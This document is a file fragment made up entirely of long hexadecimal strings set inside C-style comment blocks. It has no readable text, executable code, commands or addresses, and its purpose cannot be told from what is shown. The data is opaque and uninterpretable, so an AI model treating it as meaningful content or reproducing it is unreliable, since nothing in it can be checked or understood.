23d6ea8bb90069fa980e4adde78745631c3443079acb8f796736a26f3d1d21e9051ec4c90cb2725ce45f8e7d31d6881b4cf9207d829372d5aecdaa18519242bfbefaa87183ff272026e1abe554de183afacacc480bc73e6f52835b6bfb96d3ed6754406febd178ba42689cc4d1fc60c9a8ac626825533851b3cb1df133ff1f2a0548a341366a63d5442ce2180219bf2c2427a87501c7d03a558cdf1d0deb87d164d52c11ecac4cf47e2d373025177bce2de529e39fe8f23e723290552c75bfe87c8f356b520e0f676c58b62fc79c79af64580c3d30ee422fdba9e27d557e15f350ea001761ac022d5b0ab50d8b9d6e0d195ea0e865b947bc085dc32b32e084d8d1db886d9babcf7694418766b64428137aceb8d2a55807f21dd2df766d5eb33248a41048ac0ae4c66a7754250f376480f8f1db17e7ec9b56192c3a1013b2c959a166ee1ad69a8831565eccc5cd7db9fc70d30df1cd0d9e7e14e32e6a8fdc57ae0e02b8f79a10d990e4ddadb041a5576bb4b48c2240a98e354b895e5bc78b1c4defe3b352f299e2a94ad1091b421a8285cb5398bd5a2c1fbacbb617c6d2aec3f74f2196eff66998bb97f440bb6e8cbabd396789e7a380009d33f3bb722637f212de71636dd22bf9ec22d02d51ec351bd000b93882057549bcc774be017b89056dacbb042e6e148de958d4cabc29054e18833589202642541c8472156325b0f0f7f9f7ca650b46a13da47da6228f77186cad20cebdf4028e4ce5715512019ad7055af37a9979009f69a0e9d9bdb2ae50602aafe900e446bcd95f23550563f85ee6da5c8ec8de06cb84f667fd0866f775589e6652261dba4b22449d2*/
/*67163e8c313eaac49e9e998260aaab8e9d8ab4691ab3e8b7be403783aba78cd3a01f05acaadaf5022517d55022ec25c19d82c70bfce6529961ec02633366bdc2127999e4b3ec5162cd8533abf53d2cfe6dbfd93ac34e3a3f8cb8aa9bf6596a71d3f7331fcfcd2a86b31cab1c1c084cab5c309a6fa8f837416ca105b38dacba532acdb7bad0cb3217ffdff4e17f8cf11cf2008384ebfb0d945deb270c772d8300817bac099e5396cb2a89119c6b029c215ff16c60425c69d00b7c67b9dc2f4f37aec3412c1df63f02b5b8378cc2bf796e68fcfc593ad01768cd17866794f5a766d789e5b3b12f2470db994936f14c2de6de18d820ace9d0e8f45353f88bd013d1d2f04e9716b97dce911d00e14cdc4db359034c74efdce6823ff1304792bd79debf720c3ad7c0ce577ab5fe87600b30354fc5e5ac527229204b3ddd6f9fb1de2cb8aed0c49e61263220be939cc2565a2182e69e7104d386b6731cacd41de61832bb9cce8985049aea6333dc4a57ce86cdfe40e8cc4f5f67fb9420f54f342e98846b80f768c92a1f061530d5b689af671cd683732838151bc184d30f12fba198b7ee39a7cc84e8c5709ef8e46effa47d705b0c3c9de0579698d53be3de573501266828f0160acd18f6b219ec9fbd9d9e12e940c2ddc1922452709ab7bc72089608dd9c9a6a994821f463eab511daf4fcbe3cb90a7abb39826918c2f0b7b9170b31dec9c2770eae49cae490a6962fc76511dd8f89884b75bbb7465723e461f005ced680bbc39cde674ad5ba05142cbbc397c2db8e5b19ced3cdb490080fa6f20ff5dd9e6c75231a28308fde75268323501c62ca1118bf5512c381133bc07391aca10d645838d9959f6fbc88fa6867f69d2ecc0c628f602ef9f03a0137f6ecd1b3337036d07a72f68f8b32ab480fca3a82f5eff9b093f6895d4d252c0939f8af2a3ea799a44ab83935a2100025e5871759f067ded41f94e36bbb239f07c9e088b27f5767c387fd6d9de98d501a97e0953d58334438a768cba9764e7f63b6e0fe17c9b327ad1e5d685c32fe5f2a63b58d5bf85f1528a3f5319e468b3b37836d6f56c6aa8d6e279f436854d8faf95d5212893196d82c036023eeaedc4a8154d03f2c4d09b260aaa43748ab4a8563551bc1085d0cb763e1f9894e846cd222635bcb4060498dd3117d6a545e32143ed749316bb2d661c87858b901fd43051a9287a6706e41e184deb12af518fc4b076415533342de2bd15a0320ab4f3e61216f970d37eabe898f0abc4d30ee8ae0fa4a14c1c56f6f474b84cec46ea7ebfeeb45a5c22bf874c5c6d32d94c2d2dcf14d92d137c89d951ce20535521bbb60b3fe055630c25785c80c1fde6e09e9707b6367f9325232c1d8d003e67c37022f54608a83160095db9207bad32150c1394fc6526c2f825748eb61e7474b5e5e1e9d96cd6ac5d66fd08f7dbb60d4ba2a085b027732528adc6fd80954d0bcdfeb2eed1df60ab100f04b8ec6b75b0547a871fa3c7ae1c5090eae1310ed7b77feaa7358e122a02216ced0806ce1c4c2ffd16709f7ae7b61051cde9c7fe8bf918a5a38d3d2729abe0a56ffcd4a2134ef1202ab952c24c876b2574967752711b2d9dac95348af9181e7a4e2d900c6488af1e7b8a8b263dcd2a2f0500be9c131645f80b6e88715ab30b37f0ebdd4193ae941d9322300f6f5555d62a5d7e49f37c36d47ec2b23b9daede19a34e8c49139f1ae7ae79e2d3c1dd3fd3fe962ba6870be12bbe298589575825aad86b95e73dd6a2b2e3ce48dd9761d7108ec75eb05cf37ad9ad09ca23800224ed7f80194e5f7bb01aee24e238435caccc1c0bbe1ad43b58f983c564c05a28281e53ac27acb05cb64933db86b2f16d194688a63c8467d678234fd9e0d70c0e1fcf79905f98c5af246b7938ef55c17e7c0a1116c1a84dddaeb45feacf29e8ee8ff1bcac3f680a61bb5373387a694c9af7099092d79d86daec14ff738be58591d508556a4bd478b85e5cb85a12ca414713969470207557dfaea52b1c8dd73e44206958cec7539e78bfa440145c05c709e3736515b4812df6360e499fe39309aa812c9aa5d62dfbce18a8723224986cc14bc32898252c4a70730e6580f5b19127dde07a4f841a48c023cb5e2310001f54e1eac2f730fe19e372b1c2e1db47b757278e397e0c6c62e8b74f4c9886fd2147d7b23bf6593e2b7e11d66c035b63cb9a5ed4c7df9441800875916d5771e1ea352d03569b27860cc07b4bbe1b482ba6b4d4309ab11488a1537323045d553247ebef4e64358f244bfb5041e7836db7089a15bad6284c8b3245e56f12476ed6d6970d1c2311a83ea67f87e0ee05cd6a5288cc1bff0e3b913215f7e798ebd6029be6b1b445cb1c498bc10df8f49be1ba67efc2f2a418977a93334d00e99e40daaf985b79953e088b4a5870010db0ba6c4aa30d820e2b04b302f13654e5f9ba96faa3d3185393661a38fada77216617d732a487e510f678f3c9e8e66420c5030f0a6471f3f76f7a6e0b4e87856f97409c0d85ca68bccc75f862c60bf67f60e086861c467a394f6f6568c7ee79456830424b66bfb135eba27760bf5ca8ea7a9835b801f290a229035e7846b7fee1184cb7ced52279183f8f6af0c47172b6d47b1c1e8ff6d740b12b6c07ebe598ce5e6f125c55cf8873fc72014726c4492e0fd7cd71d016e8d4c32d0b1688d3d3e5acba9d8628d348405f7a3970678873e7c9e1384d586ded8c31b4fdb8baf74da00c99e4d25b1a5b7213534af22129a50b27c43ba4aa54ad0d1726a1abab3d21f4c9ea36dce6db8b522e8bb33c639902aee155d3f5cc01a3d*/
/*b311dde2d24a831c942b690bb4c00bb65fec1bbc4ff66ebba0ae5cd8c3096ea0b077531f38e6e2dec510cf8204823056b7dfb8b94a1b8129739dfb4e936a432083c05305b59851259e226d18489e9232fd731cb7b4f60b0cff5526042cac21f587e11803e0343c263e39355969fb8355d6138d504047726f57818b005f5fc3f2e8ed9b105ae7b9ff0dfbc6f062d93f6fa5e6f13569517d8ec95450a99c0bb6d5c90fdbfa1e3f6d264676a69d9ead75fec8e96d8fd7bc5df14ef226ff1c95d0c3b320079c73918df89df4d61be5ec3bbbe55384bc5a1f3f87f730ef61d8c98673bc52f5848f8ab69e48f805b1a8871ea9d46471702626d62d54027982fbc99deeb0607654e7023e6364eb6b4ca14c7099bddbdf69a04b70b2b528c94f66026976f6ccc2178a62f5052930749b435095c756b3e6cc7025ca315d2e102d5d4cc2d6405e6cde70904c5443d6221545dd5a4a3252705ffd2f8e9b69916c580f75791617966f79eaec6a02fddc5dd89312590dd5a3817ac8e78479c8dbcd46b30e4283f3a7947274dbef0f731a731175dcb10aba643ed636cd11479027d44228bd7fd688cb1f0451b7d867c960dc597e0612cd58b3307622731b62e3d6dd7449565971327cce258e595820c79239e4240206c3ed970363ac0a675b5716cbc3d56dcce2193b35459d367c26ef9a47739f86867130ec7aa41202497e694ec4851a1e6983e7f4a684768bb1f8d2ad7947d34cd1b109b182fd00b733e1693ed9fe2259415e1fe8f9ae91f1d21b4300580ee2a3846fad517894680834870f97a349f84ec92afb07d7da94a9675c652c0ea9812f19cec5f40c9d625879cc68961da2e2851bcbb7bc162f7ee0fb8303a6836aaa8b56c380b14ca3fdbeb1f9ec6175f33482a7bd0388682b5f3ec0055bd7920640a25234c2393b81107ad1f05378869ab4e59265cc0999898dad9a6307f62d5a25197fdbb501456f1a9935322209814ba5ea28bc986af6f44e33ef06448e7ede95db6dfbc846c1eff9b9e3900426cf69e70d5aa8568a69669a0f30598041ef3889977db9459bc489e6f4aa515b1e1ca33e1c81fcab478a43d2f46ebde4869780151cce1088ee0c0345cb5eaf6d25f38d669f194bdee98f5db17f4c4a31a9ca2bb7ec81c35e8082c6969a16d79ea00348eff5e477af00cff1a559fcfbb580ca9fa86445db7aa23b67929233cc20d687c91be8fd0035799aa55d780f7d4794a4dfe80021cd883615e68b4f089128f64869592a9b04e23f26fa773580d3fb8451f8e80bb3ecebd3dbbc2be7441e80fb73b0531397124412c0674035f6f76484a18c8d393f2c491b5086546cc9edd4232b06e0b31e87d59988fabdbba2595f9239d483fa49d8021282978b355a29364cf9ff4ff83584b3f0078547681343ed18b2ce39075d216b11047a9f4f5d5f8c2370dc8d575dd616e7022fcdab80506241a89b8a3d90b287b25504f37689363a7614cfb13187989635c53124b8b1f3787a7efc2d98bb3ed1d06af756e7e2ab94593c3e52320027614e2fa0de02fe3ceede9b9efdc6f11134ceb4817967fa18202d6c32395083dbf9189b672bc2816c458cfa29111da6650117828f7579b8c8d3392a433ed5797fe9c139c9ca4db851da1c5463bc5704d89a64dbd7622ce215c081c99d5daf7b940f5a99eebe14ac28a6e38cf1d0bed339e13e05f2fd467655a6913ce8e05ddd76c6121e5443c4ab73ee0aa2bc3dbdda88a090e0e8ccccb9cac2d9457304b93134014780feb91992dbe57bebf52dd7db262fa6c5cb9ae466b65f9199f196bd25b3320d566133e57de3557bb813d7257473e666a393c5d72f41135634f45094acd76af7f3b247d8e5dfea1cab4d95c14247ffba8636067c4ba5e622c399aa2bd4e303196f422dada60271be2bf7ac508795ca6437e3d423c0ecb25117f48de496d1ffc2aa64b359a53d1b31e8a7d5ca21462337ded887c31707e72085b40a6f7cbe526fa55edc2961792161179cbf75ec31d9a53ba2d7f0b7051ea8c10a01652e0891c376f38ccea87e2bb856090edf4f129d979aa58937080e49a86f4116bbcb3b0508f0e24dec2dad7b0062ea4b61a7c4fc3718f5b6e72b7d342173ef35440b29831aed1e8ae114dca8d7d26a758906634e2fa4b62a20be6b72b9ba70f29c981d3d084df818b0b56378061825e0d0464b4da0b6bd98aaa159bed1a178e5733f86fd163563dafa1e84b16ea53ebd7daa1cdbe4c212ccac4710d8237abd16b8cf6699adc0595476b8c0da7499e69c26ed67af9b73b15f278e9593c7911249064dc32279d202107d2b4eec87a04f24c4be0e8b936a9d67e1c288f1fac91b2be969b5834137f278defe486045fee384313747a80b7e9bf897ea36cf9700cae5ae9e268a8dce138abed5cc7f0adb8b728161ded55cc556ae7641d901144a8a2f53736f26af997a9eccbd13893c581ac72f2676da803838ab07d79b31584ba50afa802766bf4193263569bf25b40520563f76a5eac0378968387add743a08b4accd20194cb709be0379b497e292ddacf2ba09a7ae12c392a2d709168404a08a13f3b655b04c55da47ebff854ff89eafac9030c3c53cfebe2887ec066e41f724829ef5ed39462f7d2ce7d47e8582c9d92b9335faba04bf54476506fcc10d2b36a2439d039f2be4cb3ef93b724cc08eb025be6d3213526ced3556825b6d75fd8ece9fa34c134438f2585ce6332158bbdebc2f742fef1a937ba2e0ad13dd8c03a10a4612acef5545d98cef46e20f0534f8afd4b7fc1154bd1bd502ac7d08debec00e98a51a26e8ec64ae395c40963dd81eaa2a6723*/
/*3b08fc36b9e4401c80f4446a9b1736a7e82dce1d6a5a38c524cd5a9756dd9fe78518e6fb95b9e65836f31c9fc4dc170f51a7281684e0d4871cf0d3807386ee4142a5fde4bdcb6a3aef63734de857fa59d272b9387fe95e699898525d47d26d54fd6c268d390c9b5ec3e6f0296277efda484cffd6e6197a4d7fd446f84c5161e504ea134e1b2fd468894d4f172407fdc31f8e4f55aa6dd201542255f7dbd353d70bb2b5f4c5f1b604470a9732374b27eff2fec4e1b3c6432ea2af090e712eb85dc96714811bac52215123f2bbf2f501c663b2e03a4c75cd7b8f99b895478fc45155037d15fd2912aa501d645de8078b8f84b1fc085d5bd65c0e8874600527e55ca19d0ada6a480da2d4373d8d77237300740bd6531eb2f8463509717e45ecc576a7a39a4c0a725f53109713d0705cbf7ceeca838187751b4d5f9726ff4b0b7aa9c9f0e0f401591d232a36fc3f4e81bdf52fe941bccd86a341f9672df6dd2e4cecfd88ba31470f5eb1916a3004d856f530878a8c7e64da123da62429934ce5ad4a6dd3dc037382b1d805fea9aaebc8fc70295a1f59568b5fb040a491ffcddf1f6146de6c80135ca3ad19dc188b874bab84e52e0ff9dff962f38f20c885413e25553f12969de08843c2a97e791a1634b7c8619975da66db6e41088ceaeb6fcd7805d5e8f68fda8f8c0051e3e61035d3d8477b065d5159c79ecd57b0e2bc9da6b1f90f7519bf6e7fd2a9df28bdb699cc3c08b8d927088c1d1ed53a5fe088077913dba2073910eab69e6aa87b833f171c0824f1ab9f62c448b0a6ace2b275df9ddc32b12ab1d5baa922999ff1b83f6809af73d9fa6bab5ff238f6534e042f6b19673201502367ba70340ce6907c32dd15e5ef8c03fadf40c2e86ca5b8eba51344060e8a892e065e8c6688a75adbf8f679cf9eb645473a6d058d15f6fd867e619f0071a59e355fe87590ab88073177d40f5c5faf64b1c178ac10bee5127bd37bf51db070a95928b9a47a229859789d415ecaf3eb3131acd95db44e4edc90559fe49fa673d87a62dcd41577a972c1c16c4e84ca13ac560be1c27e1d9f585de01993c41e44eadbd6eff402a0681464e813a5bc966ecbf013a3b1252b7ddd48728de7388dba77ce1b6e4b925f0170925fdf1d2eaca18ab8eeac1eea8c8886a4ef77d1c64bb0671e1b6ccb639b009c28e8198d64245edec5f427b346dbf9a0a4a9e9dcd42b39111e82b37838c211227af4639706acefb3f0e8350659628e7ad31b972674a392f4ee3d9bb80e1a0f9457485aca8bdb55cf7a6bab6d82cafe713a605b86e8b106178223f561c88297c41154e38bf9913afff8e27038e5a21aad682d2ea7a497bffa29aa98321c82f96683da4a567bbd6476eab1cf4ea508cf35731eadba970e7ad561664136e8697e8c62c0b56e22cd8affe1ca7e16d475cba4554a2aaa1f3f4fb77d09961f120a67f8b196f670351de7720fe2bb0faa44a07da0c0b4c71db9eba09ab6537d898a4731ef6baa94aae6a42950a351fdc4b600a1531be5ed2540a63fdc0c38f0d507bb586f43216a5e5d3c19c37eec5437b187800b2d6d557a84d41e47e560767567af3c53a3beda9910ac5be3589df0a3188349f03cd952ad100b724756f9f0790a97597fa1b4d4d82c3c5232aef8bef186392e11a80896a27a8f07b860ea0aa7c6c4bcf8ef70a835e3d4eedd14e45dc6c7ae0c317ea6880988706a3d315e9913b4557307af6a3aeddc26d0287ab659b4bd6b14cb27ba446c283b8191b2f6ac430787f718e1761c9809a4021d750b17b608fd4b98fcf0d6430a391aaab8354a73b06edba8a7ed2305080549889fe190b7d83cc74715c0a14c95e9b6fd11f20e747e07e6a500125e1d91f0c2d7fe9d21bd99cf25bdf4c0d15f91dbb37e13639d9c19fad9fce6ac88590a37d8e239ba39c54e8a7a395d82e73eafbf436111217f0edac7c1edf4dfaeb5322f331e4e2e45979db68839144177bc5f29e55984e7d08d97a2acfcfd7fb06df8ee2ecfef57db47b52e4e79e7378bf8fbdc19a53f762500bd7dbc8f06e4436267644f774e815ac7bdd1e4851d1b2045363da604c7c1c676e336285dea8f636f65c8fc8aefd8131976576bcf054d7f790e89cc00241f2d4152da734f69d8164f99c970b3405bd96d56684a0a3e1b21ce7e734ebb8221f819a730ac972c57c53ad3bcea5164d11c9678e210db416099231d74015ef877784c137df596f231f86df5cc3fc6cb0cdbf332c440226f0623bcdad48d2fc4ab6e02a730c2dcab81c372b5f59e5b830394118ab5ed3626d501669034ecb4f9f053d9751860486c8ca9aa17ba98283ad59fbbcb7eb736314baa6c22f87c0ce4ae7eb3063beb4844e998bdbd5d3606b22174c01390d3e208dbffe61f4f36bbcd861818c96134a0721bfbfc1df34a803383c8c689920b1f827f7fcbd482fa41109b20ff517d521daf630eb7653ee4037fe26bb53128321069df6f47cc2e75bb51e287837ac2bfabe7c637c0ba0a732666462833ca64c87a468c434e809b786afbc042577772ef100f24e212c3ea3964895636b81a85676c9458892d56ea24452303f864c7e5898aed6d0150f26a444e6617450e0121e590fac2983681c9e9adee03a971223a5ddac8509a7aa1fe039cd310f7f4eb2941c5812833feddfe8276d4a54e0ca325c88cdb7beaf1abf290293c5ab386181551e3122fe129b4e355aad6e39b8f732f2ebdde55a76b3e8cb320b9c816feee0ba3dde79bf80723dff067f0be4b1e0b44a45f827421f039d470128c9346d4c878462bab41ec194b22974f067333c7c70b781cdc13d6f5af*/
/*f636c86411a3f09d9f1becd21cb5073ea0864b5a784b6e9814b571b419529327b4da18a9299f9c5a896a32d47be4dcedcbfa0f40622d972bc1835df65947492e31ab8be7d607f4f17627c032d10576f17e78143cafb7336ebce05bf9b545f9cbd9cd980b70fe15fed634e99c2263d17312de757b59d0c2aafd5b35cd032b0898c62810d0a0169ea5c26e7cd81bf734e4d86f139821a43e800f84631b7d6811cefc17eff2528cf3fbe4537fee2a690a75e1e0fd75fa6464e616bce76ebe0d751c203ebdb3557fdff0ca94d1a6fc4b68274f778b014f25934483de6bcd7d63f83fad4b3f8c5d436eb22b332a9089fcb3a6bbe7b940b3cd7dfeef21198e0a8cbe5589125ccbd8be4fb057b027680a8ceea4a43d98af474e94b4dd331851ef42ef1aca4889f55501bb323878fc489e9bd414b394a99bbfb86cce10e96dd661dc467a2791e706211e8b4bac2ca56a968f11799920992c7739e6110951eaa1165886214b4981c53ed5d78d79dd543ef78ab736d0158777c8e57120423fb60478e68ee3ab80df70dc230861e021655e1ca0fd3f1603680e5d09ee2934fc8543e31041a4c1b17b6938cb70a6736b38cbaf897b7ff2588df7276b8fff726153a297afbb8e7b0cbc4b89c8f67d2cf56b74c550cd0138f9b84ca405cb5cf99eeded63feb80ab4608ab4789d4f4591480ec18ab53ef9f38972f3741769f2e563888518fad7fcdb9adfb74a28969fc597bc022a280ba59a008c1299548b0db5807dd72ae25b65c8159201077138b8168893fa175d21f34e3fc29421f91f49cee9a2bd3f7c44c3c13bee6d5f21f85a2b5fab7cb0137b84ecbf145305bec5f0c982fd6370fbded2053eacfd22264094b99db3f89cbcc6b9adc15cb375801c6cf2b80f887c43f7d22139151601366c81998c633b8cc8e36e7ba9a4d05d97164605c44a6e1635f2cd384714a1b09f76dfe4e89177c606717040fa320622f54da3563d9d8cb9fa5683973de5ce655ea3a554eb1969ef63a8380affdc27036ed76395bd460fa9040d80e358eeadbb33cc378ab415a7f8cb6f097ac6aebf0f712da033acfdb81596661849c6de500e305dde584ed6122b88ea5befc3f50b0923aaaba43e12afb93c06c178e35d90950d90e4cb6ccd27279678874dbba361641a71ce8b8ad9dd7e13585c0f4bd20ae60051c594d93945d1077b1b31544fd8198263fb1a697d095d008a555f4b855dbc4dbf45e52a987951980b78ff885c4a3a14be255865d3be113884ae060cf1c9b48ebb18f3d667d318d84756c3b4380046bacb8817f1d52f1e17d07db15f73b108d28570b07b07572639b34ea4aff0411407159288077447593af1e891cda9fd75dd82c03b6cd46c6a6df06f0b5aaf01881c5331f95319e73ea46f118526963eb048ea2bccc6beceb3740db46f61ff83e10db3e9104ead30ab78e4d112edb21e559d023850ad160233dc36fb23cb3b30015c91db3a143f9b71010c5020a401e35027136f96f2fa050026deb219fc73db3e37ed91da5001b432351583667456b1ef4c580ea4820328d8a63ae2c8e6c5ecfa5189532c20c4ab2e16c736821c601a410d8fa4dd13bbddaecf7043f3b5722d4df649319de15aeeac5e986b3a5aa7c931b198fef564d442c72303625082804ba5e44fd524ff66d3d73213e2342a29d4620377f6647ed3c82e2763daed7a2c84198e96e4f376f594a693be5bf7066fb51805565b4e253c650c4f68e060133f6b488cf7b9ff13c2543603f40dabb626c3a6aa03c2a538a495be26f5557801ced9cb03415aa61c2f919fb9c17b919b19ba87c0d0ce2e7b13b899eba5f4205f781a3a5242917ab136a06db26d6d605809056e90b9509955f21afe2c321f2a4a485cf01304a6801ca68502cd7c11a164b7765fcc231171c3201ddf2f1919aac1e74f7d23fb71b6804758691f4d35a7f5c31a21c6f303d921903553470c31d673ac1892502ae2c79638b8915d95daf89c11a6e1796e0c0bab977510efd88b88f3a54e93cacfc9972dce0b292b178a0508a4dc61064953f24cd7c6f0a152b89a7acd38fb57744a2a6cef705f91139f76cd1e7f804a71107a955d3784a0ce73e327d5846ab7b2a58ad2b06ad81dc48213b3fa7cb6296898a1a9cdc23ca0c2064af16ec6fda3e665f722e80bd8ce9378b0e233365de02ed9abfdafb0d2503d4ae82bb4739e5d05256d421b1e2a65a12f57feca8414d425c58c0a5354fba2fa199316211d4fbb7affcd424aa71607b9ee09f4d3a9ff17ffaabcb612575e5ef6b6adf04b64b4af456612fd6f89c67830a43bd13f06d501d4fa96fb8ae48545cc6f7806ada9241487df4ed3c8ac4ea45af26dba66b8fa8aaff7060ddc5deea5dad1ae23daff681406802259769011ac90e9278c977082861793e4307f3cb369f319c5a2cf9195db207064317a8709fdcf6e5c10a7b3bf01a06e7dbbacbaea1a63023c6dd9475f44fb94bc462f74202351005aed4a3ffbbe5ee3b6b85be2234096eacd79023cea92b2f2d7083cccd0ce967859e52005fb4460b81b1b9e287b5281f2d0af527c4cd6b97094ebeddcff34d4aaac78aba94cf11d311ca6057e571a21f6e477a92a453c601e48dc7b092315a39b5f78109c4ecff4ad070b67df415ebecb46815b1a2127d1a394c307152b81d69dddde0e139dc26346252ab4b9c0688b6b3ffbe49525a26d02e294d017facba1aae4f468c3f5b1ed3118ffd297836cdcc8cc73e2d9aa7193f25eee2f6925e4ededfd8d9be0e1250989f8140bcdf6d7bd884fbc0dc7aaf1105d1b10a1fbf0de7eb6f30b617fd6df3989c2842102d3ebb7d3*/
/*a5bd4813d22bd59399ee5057bb7accea30d4af40bf5e79ae0ee7aae57329db18815310e77b7ebc7765eb2cabdbb2219d8335ab032d9e6e59356e586013626de06eade427039aa9f35b6b066b21189d6fa6b1bd42a03c46bf7e7f015f678cc850819b3c5a6dab9626366e995cb203d2ed73ed584d013da15ef2a732d5f0afe5a5e7ce8a3eee619b362bf5b6bdae6f199245592420908aef4e69ff37add4ee0ed703d22e5e4d0842b0d9947ca24f89fba04effeecbb294f4f447b8feb4d9d66a2a8c777a41773c585ff7732c67414651e1430e0f97f288768a19c62b897a65698ab837e4d89a81dfdb638eccaabeb6fa4c67006d0be5f3ee3271147e3f03e0b1f4c1d41f60a82c315d7375e78f101ae7182935e56fa17f5a6673a25e499270fed65f91c64cdbfefe87f2661e1d86a9c2aa4f6787fe34be6cf35be307e39e06b996b1ec637e1235c2fee325b065d3f8c33b0ed7eabbf14f373a2b148e375cf6951db47883e241b3f2094f04c625060b6959e975e02666821ebe3b772050bd20c93b67a5c559adf8e024a03915d384455dc9cfff508cd5c2c2d97fe3484d15e6fc56231226e2085424b507c9056d3eeebd60115234f4d41e7e9a8fe47447ce46e1269c6a4e1c23d34dc27ce8b5656b14370673b370f228139937f1d6422e1007ca045ec530e74f629aa24ea195248ff508788d7ee534ec2b1c4964c838dc65f15b50bcb97e92c7cfe8016f03448f86ff0cb93a73f2c33ae18bf6ece2eb756e18552064153d762617ac6bc356099ce2e14bc8b7576db88382178d554f470f32a1cdcbca6dae5950002047a44ffc7782d8f5b8d94d96b020af392d17aa7254fa6f135e0909fda6efbe82a7c8b5b29e34f08a8852f0a143ff71fbb166d5f1d83d3ce5221ba299b519f513ee09d265940306df731bce62b3d1b6ace87ed575cb1d9138b8dc6da8265b7fb0b19f7086da408037ff3e81d8865c3b1493e8913530531023bd2c3d5a456e48764a7f9e0612237530b408a1bc68141cc52f8124373e54e687aa7f1e3028263b2cc8f0635918785dbba034b955373a2d4d200643a07c5e594f72628ead27f7333c3cb6545879c4fa7f3ad333537cc8f325c22f6bba98a642110ce23556223628f43d58d34a22b365ddaf93190b753f5658d8c76d5339492f2a8df682dad007ed31d08b6976053e0fd1829de24590c400db131e6227f321b8766912b307aeb93c1cc50eb617fddfea56166fd8b6d19bdb0cd7c8ff70e34ff7ddf5beb46a1d0f23a7715a7d2706683d6f5fa8f4a59eab97dbee90a69777a9f1d4236f6d05ed5c13bc252f9f1d03f26c55da70f0ceec5802e5010b6668395b5fbedf6c6d5cbf5569eaa5ca7c1a1cb8f1260924e4368880ff1dc3923422c1efbc19ac2654dd99b7a7f63c1ed5e102dc82dce5fdb41746efd8f954baf193a370c2e12894ba5908a6ac6c0c1c6eb030325d090f5b806acb86c566c2a507327567ba3775e3dbf0ec98955ef467d4a7d216fa0c122a057d5d6a6d4d8a04d2ae629cb982e6fb610f096b20763dca5256469de2e94a9c9d5319460ac63f7988a195127776b16bf619bd9ccc2dc168f6b93477e50e4c6b19d4393a7476b9bcdd6791e43997b5138f4045bd90a80183951801132641bfb7f3f9f25b0f86e51237d9304087cab4f39b0dc627cce2067e3f2ed9c39d23c6c42d6f097f98e3c9c6b7631d768dd81111b0e1679a2d11c2cd57305a292ea2a964f12e5532bd6d584f1046a2ba3ef9f6d610dd7208102bd4756bfcb2256e78dfde37b103821a3371e4a0375ff8f815761fa1b7afe0d854199680b22fa27172f5c3a9e12a5206c9fcd1a0a0c473d2508e365fbe9fccffe266061bb505343c0d4788b8c606eb8af5b9e03812bd0b21a98d7d05b668f19294a98280b33767da8b0537f4129e59b9f9e81a5eeaf04a6c953d1c572d77703c1d8c2e0d66fa317a2987bbf9355edafedb2eaf7e9b8a9c8913e18a167dff0e0ec010052397290a963beb37d6c1d5a7137d88dbe5d84b5d05b317acb6fde901a5a3a48ad43e9117444fcf10090d46db1d7389c5c47e7b745ffce90745df768cfc55874df642e86b3d53dc9ecd9f655b27ab3b70daa94938b5233cf0479f97c3876b8cb4a83cb9b5f2dcd7efc441cb9edfff7ca44c9095c05b45a9f37ef2a6ffcc1fdaa215427528860b40d7d1bd102603fd2f77607daee64df039f4d706731352b5feba48d7cca45037cb42146e98c6b258c728fd7d67b2f051ccf2923a642468b3699582de17fa6b4e7a2d8e6ca83e063ee37f0d7894907f77ab0345f5f3c18be4dd2c74d0256e68ac41552166d3867f40ac9ed2166daceb9bb9fd368064831e6ad420825e2676daf826d535ce80b9d301e7b894897bcf8b8c97d0f0d27d25799bbb39f5a163738acf8a663fc080f91380a73613dfaf2b0f2f7dc02faed2b8bf2ea4201bd697d4d0a40efa899a366f56497301bcba86c44d101bbec460399ac85161dd10bf2a31d3a729ccfc40710b716a3b18c087282d5936777ac79026c6eb82c2384e9c366ba388567f821e6dbb00e673d391ae376dab33efe00587da38f0db6718ecbac3e51ec41f4a5dbb917ea04eedf4b34a077bee6355abe365929d4b7154cecb05869db05d86da051722b6b851c4bb1b1c315f342ea9969fd97f0fbd07c1b60d26d33242826088a74c492971bb68e591f939bb939ebe618ad9558d99f0154c73ef8e49240ad0fd9d0edb41fc6e8f2e43e025eda4fe9cb8564ccd0ee0470ceb2e565c0f77068862c66e1eb420d5ddc0c30420ada3da3bd6f802f6e727859b4c503aef7b393c09*/
/*a08df66f015fa8b542ff610400601982931e249d033b6cd50226af4dd9c20ad2d7c6b1326931ac56de21290f4a682f0f49e9faa55d284771c3850f4ff010ede59fb881b7754ab808ec90a9e233900965ed20466bf5ef2e6dd213013ef877c9cb31d3af91c2ece7ec21bb1927491b5fbecf2367ade3bef9f31901ff1cd54fd1cedf53b21eb4ca6256171b75ba3e1a435b78379f233c57dd0467e7978bc35e01e43f3841b4df0fb32ec5910984b8afaa2c84527e2df350b4dfdd5df5daafeb87cd9a8b7bf5c83529fb1790a98c0ac7090d506406c612278f28eda42753ab32d053808001695fbbea0017925ec0fd83eb7a7e213b094c2017828d674374e99131f655bbbfd79e2067140aec79e863731eebfd30495f80732ae5e916d06bd5bbc354e659e279350096b513d07bd0a2304d535888832cf154c068a4a16e235491e6f4e67065b38b5b234165b91bbf0ac7e5042606f24a7a334cb1ed720764f0198eeead8061cdce11663791f24be59d7fdf62f077a3ca535f0da7706446a5d0f1de710e9bae5ac93a9197f5da0ac5791191ad1c07474577432082058547ed6cf5a9fa40ae718cdd3a744a01c6ff06e6738020dbf15d7a8edaf6a1f01617049b7991f96ff52837dafeacd3de3f9bfca4e3fdf6dc252cfa1921013a2a53635194df97d5b166556d844fcd6e8943331fd4692551c959cb0fe2a403e3a348fb9ec0f3b9452a8cd974efbaa80973c1a2a0106e3e65b7a170e80d2847d43c72785889a1dc5a0b03d877dcf96a118b9e41a30ac2107b90dcf9053df5f25d508172cb7c14be0b7963f4c7094fd9d7122fba87154ff6484d17ab2bb9cb071e0750aa1e8e6fddb3685fa64d18f0e2f01f0d63fde64dd38648b14192d72c59e48daec28feeaa89f2c48ef8d0fc64cbd1f5f0b98f31c6a1d245f987a88eb0a8d4f60dfff5cf39c30a547b47f813858757e538433f32e2c6939e87ea505cdcec6f03d49820e4c8932e46c996e587e98dd628c2c9223246a3430c8c1604bb677fcc67c45d667da98164942e3e1145dccaf4d3b5eb3ae2985c432d47dd4d14961ad98175fb62cf073c0f667f68c2a3e4b41865651dd458e9449a5c7b31ef0517f41e7802aaac87a1eacd36e0f1db636b538f6c27c4a808f648f3224f94f6b7ed5cf0db21f136f50e2442bf1b8835f5f59c7852677462f15a447e16ef365fdd88fad8b41956e105b121948338fb9290516eb3ca2e843c57e1f589b31b787c255e169c133c290a188f6239fe0ebbb0d58e353e